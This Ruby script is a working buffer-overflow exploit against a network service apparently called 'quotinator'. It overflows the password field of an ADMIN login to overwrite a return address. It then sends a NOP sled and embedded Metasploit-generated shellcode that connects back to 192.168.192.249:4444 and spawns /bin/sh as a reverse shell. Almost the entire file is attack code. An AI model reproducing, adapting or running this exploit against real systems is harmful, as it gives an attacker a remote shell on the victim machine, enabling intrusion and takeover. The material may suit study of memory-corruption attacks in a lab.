#!/usr/bin/ruby

require 'socket'

if ARGV.length < 3 then
    puts "Usage: exploit.rb <host> <port> <addr>\n\n"
    puts "Example: exploit.rb 127.0.0.1 6666 0x401841\n"
    puts "To get the address open up the quotinator binary in gdb\n"
    puts "and get the address of client_buffer[0] by issuing:\n"
    puts "print (void*)&client_buffer[0]\n"
    exit
end

host = ARGV[0]
port = ARGV[1].to_i
addr = Integer(ARGV[2])

NOP="\x90"
INT3="\xcc"
#Shellcode is generated from metasploit using this command:
#./msfpayload linux/x86/shell_reverse_tcp_64 LHOST=192.168.192.249 LPORT=4444 y
SHELLCODE= 
"\x31\xf6\xff\xc6\x89\xf7\xff\xc7\x31\xc0\x99\xb0\x29\x0f" +
"\x05\x85\xc0\x78\x48\x48\xb9\x02\x00\x11\x5c\xc0\xa8\xc0" +
"\xf9\x51\x48\x89\xe6\x89\xc7\x31\xc0\x99\xb2\x10\xb0\x2a" +
"\x0f\x05\x85\xc0\x78\x2b\xbe\x02\x00\x00\x00\x31\xc0\xb0" +
"\x21\x0f\x05\xff\xce\x79\xf6\x48\xb9\x2f\x62\x69\x6e\x2f" +
"\x73\x68\x00\x51\x48\x89\xe7\x48\x31\xf6\x31\xc0\x99\xb0" +
"\x3b\x0f\x05\x31\xff\xeb\x04\x31\xff\xff\xc7\x31\xc0\xb0" +
"\x3c\x0f\x05"

#Distance from &client_buffer[0] to &client_buffer[0].buffer
BUFFER_DISTANCE=20
PASSWORD_BUFFER_SIZE=68
BUFFER_SIZE=4095

addr += BUFFER_DISTANCE + 6 #Go past struct to buffer after 'QUIT\r\n' command.
addr |= 0xff
puts "Dst addr: #{sprintf '%06X', addr}"
password='A' * PASSWORD_BUFFER_SIZE + [addr].pack("V")[0,3]

#Build payload with QUIT command followed by large NOP sled followed by our shellcode
payload = "QUIT\r\n" + (NOP * (BUFFER_SIZE - 6 - SHELLCODE.size)) + SHELLCODE

s = TCPSocket.open(host, port)
s.write "ADMIN \"user\" \"#{password}\"\r\n"
s.gets #Read "login failed" message
s.write payload
s.gets
